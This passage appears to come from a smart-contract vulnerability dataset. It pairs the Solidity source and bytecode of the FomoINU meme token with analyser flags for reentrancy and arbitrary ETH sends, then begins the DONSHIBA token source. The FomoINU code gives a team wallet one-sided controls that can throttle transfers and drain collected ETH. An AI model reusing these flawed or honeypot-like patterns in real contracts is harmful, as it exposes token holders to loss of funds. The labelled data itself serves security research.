return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FomoINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FomoINU"; string private constant _symbol = "FomoINU"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 6; uint256 private _redisfee = 2; //Bots mapping (address => bool) bannedUsers; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 6; _redisfee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (120 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function removebot(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 3 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } event WalletBanStatusUpdated(address user, bool banned); function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function lockextend(uint256 maxTxPercent) external { require(_msgSender() == _teamAddress); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a146102e8578063b9f1455714610308578063c3c8cd8014610328578063c9567bf91461033d578063dd62ed3e1461035257600080fd5b8063715018a61461026b5780638d0d0522146102805780638da5cb5b146102a057806395d89b4114610124578063a9059cbb146102c857600080fd5b8063313ce567116100e7578063313ce567146101d8578063445b1a78146101f45780635932ead1146102165780636fc3eaec1461023657806370a082311461024b57600080fd5b806306fdde0314610124578063095ea7b31461016357806318160ddd1461019357806323b872dd146101b857600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820182526007815266466f6d6f494e5560c81b6020820152905161015a9190611ad2565b60405180910390f35b34801561016f57600080fd5b5061018361017e366004611959565b610398565b604051901515815260200161015a565b34801561019f57600080fd5b50678ac7230489e800005b60405190815260200161015a565b3480156101c457600080fd5b506101836101d33660046118ea565b6103af565b3480156101e457600080fd5b506040516009815260200161015a565b34801561020057600080fd5b5061021461020f36600461192b565b610418565b005b34801561022257600080fd5b50610214610231366004611a51565b610512565b34801561024257600080fd5b5061021461055a565b34801561025757600080fd5b506101aa610266366004611877565b610587565b34801561027757600080fd5b506102146105a9565b34801561028c57600080fd5b5061021461029b366004611a8b565b61061d565b3480156102ac57600080fd5b506000546040516001600160a01b03909116815260200161015a565b3480156102d457600080fd5b506101836102e3366004611959565b6106e6565b3480156102f457600080fd5b50610214610303366004611985565b6106f3565b34801561031457600080fd5b50610214610323366004611877565b610789565b34801561033457600080fd5b506102146107ca565b34801561034957600080fd5b50610214610800565b34801561035e57600080fd5b506101aa61036d3660046118b1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103a5338484610bc2565b5060015b92915050565b60006103bc848484610ce6565b61040e843361040985604051806060016040528060288152602001611cbe602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110f8565b610bc2565b5060019392505050565b600d546001600160a01b0316336001600160a01b03161461043857600080fd5b80156104aa574261044c816203f480611bcd565b116104825760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064015b60405180910390fd5b6001600160a01b0382166000908152600a60205260409020805460ff191660011790556104cb565b6001600160a01b0382166000908152600a60205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461053c5760405162461bcd60e51b815260040161047990611b27565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461057a57600080fd5b4761058481611132565b50565b6001600160a01b0381166000908152600260205260408120546103a9906111b7565b6000546001600160a01b031633146105d35760405162461bcd60e51b815260040161047990611b27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b03161461063d57600080fd5b6000811161068d5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610479565b6106ab6127106106a5678ac7230489e800008461123b565b906112ba565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b60006103a5338484610ce6565b6000546001600160a01b0316331461071d5760405162461bcd60e51b815260040161047990611b27565b60005b8151811015610785576001600b600084848151811061074157610741611c6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061077d81611c3d565b915050610720565b5050565b600d546001600160a01b0316336001600160a01b0316146107a957600080fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b0316146107ea57600080fd5b60006107f530610587565b9050610584816112fc565b6000546001600160a01b0316331461082a5760405162461bcd60e51b815260040161047990611b27565b601054600160a01b900460ff16156108845760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108c03082678ac7230489e80000610bc2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f957600080fd5b505afa15801561090d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109319190611894565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097957600080fd5b505afa15801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b19190611894565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109f957600080fd5b505af1158015610a0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a319190611894565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a6181610587565b600080610a766000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ad957600080fd5b505af1158015610aed573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b129190611aa4565b505060108054671bc16d674ec8000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b8a57600080fd5b505af1158015610b9e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107859190611a6e565b6001600160a01b038316610c245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610c855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610dac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610e0e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610e3a57506000546001600160a01b03838116911614155b1561109b57601054600160b81b900460ff1615610f21576001600160a01b0383163014801590610e7357506001600160a01b0382163014155b8015610e8d5750600f546001600160a01b03848116911614155b8015610ea75750600f546001600160a01b03838116911614155b15610f2157600f546001600160a01b0316336001600160a01b03161480610ee157506010546001600160a01b0316336001600160a01b0316145b610f215760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610479565b601154811115610f3057600080fd5b6001600160a01b0383166000908152600b602052604090205460ff16158015610f7257506001600160a01b0382166000908152600b602052604090205460ff16155b610f7b57600080fd5b6010546001600160a01b038481169116148015610fa65750600f546001600160a01b03838116911614155b8015610fcb57506001600160a01b03821660009081526005602052604090205460ff16155b8015610fe05750601054600160b81b900460ff165b1561102e576001600160a01b0382166000908152600c6020526040902054421161100957600080fd5b611014426078611bcd565b6001600160a01b0383166000908152600c60205260409020555b600061103930610587565b601054909150600160a81b900460ff1615801561106457506010546001600160a01b03858116911614155b80156110795750601054600160b01b900460ff165b1561109957611087816112fc565b4780156110975761109747611132565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806110dd57506001600160a01b03831660009081526005602052604090205460ff165b156110e6575060005b6110f284848484611485565b50505050565b6000818484111561111c5760405162461bcd60e51b81526004016104799190611ad2565b5060006111298486611c26565b95945050505050565b600d546001600160a01b03166108fc61114c8360026112ba565b6040518115909202916000818181858888f19350505050158015611174573d6000803e3d6000fd5b50600e546001600160a01b03166108fc61118f8360026112ba565b6040518115909202916000818181858888f19350505050158015610785573d6000803e3d6000fd5b600060065482111561121e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610479565b60006112286114b1565b905061123483826112ba565b9392505050565b60008261124a575060006103a9565b60006112568385611c07565b9050826112638583611be5565b146112345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b600061123483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114d4565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134457611344611c6e565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139857600080fd5b505afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d09190611894565b816001815181106113e3576113e3611c6e565b6001600160a01b039283166020918202929092010152600f546114099130911684610bc2565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611442908590600090869030904290600401611b5c565b600060405180830381600087803b15801561145c57600080fd5b505af1158015611470573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b8061149257611492611502565b61149d848484611525565b806110f2576110f260066008556002600955565b60008060006114be61161c565b90925090506114cd82826112ba565b9250505090565b600081836114f55760405162461bcd60e51b81526004016104799190611ad2565b5060006111298486611be5565b6008541580156115125750600954155b1561151957565b60006008819055600955565b6000806000806000806115378761165c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156990876116b9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159890866116fb565b6001600160a01b0389166000908152600260205260409020556115ba8161175a565b6115c484836117a4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160991815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061163782826112ba565b82101561165357505060065492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006116798a6008546009546117c8565b92509250925060006116896114b1565b9050600080600061169c8e878787611817565b919e509c509a509598509396509194505050505091939550919395565b600061123483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f8565b6000806117088385611bcd565b9050838110156112345760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60006117646114b1565b90506000611772838361123b565b3060009081526002602052604090205490915061178f90826116fb565b30600090815260026020526040902055505050565b6006546117b190836116b9565b6006556007546117c190826116fb565b6007555050565b60008080806117dc60646106a5898961123b565b905060006117ef60646106a58a8961123b565b90506000611807826118018b866116b9565b906116b9565b9992985090965090945050505050565b6000808080611826888661123b565b90506000611834888761123b565b90506000611842888861123b565b905060006118548261180186866116b9565b939b939a50919850919650505050505050565b803561187281611c9a565b919050565b60006020828403121561188957600080fd5b813561123481611c9a565b6000602082840312156118a657600080fd5b815161123481611c9a565b600080604083850312156118c457600080fd5b82356118cf81611c9a565b915060208301356118df81611c9a565b809150509250929050565b6000806000606084860312156118ff57600080fd5b833561190a81611c9a565b9250602084013561191a81611c9a565b929592945050506040919091013590565b6000806040838503121561193e57600080fd5b823561194981611c9a565b915060208301356118df81611caf565b6000806040838503121561196c57600080fd5b823561197781611c9a565b946020939093013593505050565b6000602080838503121561199857600080fd5b823567ffffffffffffffff808211156119b057600080fd5b818501915085601f8301126119c457600080fd5b8135818111156119d6576119d6611c84565b8060051b604051601f19603f830116810181811085821117156119fb576119fb611c84565b604052828152858101935084860182860187018a1015611a1a57600080fd5b600095505b83861015611a4457611a3081611867565b855260019590950194938601938601611a1f565b5098975050505050505050565b600060208284031215611a6357600080fd5b813561123481611caf565b600060208284031215611a8057600080fd5b815161123481611caf565b600060208284031215611a9d57600080fd5b5035919050565b600080600060608486031215611ab957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611aff57858101830151858201604001528201611ae3565b81811115611b11576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bac5784516001600160a01b031683529383019391830191600101611b87565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611be057611be0611c58565b500190565b600082611c0257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c2157611c21611c58565b500290565b600082821015611c3857611c38611c58565b500390565b6000600019821415611c5157611c51611c58565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461058457600080fd5b801515811461058457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220903a916757be36bb4e585613e879ef449823d8dca94eed537aa7f2ca9374be9364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,274
0xc4f6d012125d71a7a2b12685ab291ba4692ee43c
/* We present to you.. the notorious... the fearless.. the chad of all Shibas: DON SHIBA http://t.me/donshibatoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DONSHIBA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Don Shiba\xf0\x9f\x94\xab\xf0\x9f\x95\xb6\xf0\x9f\x92\xb0\xf0\x9f\x96\x95"; string private constant _symbol = 'DONSHIBA'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != 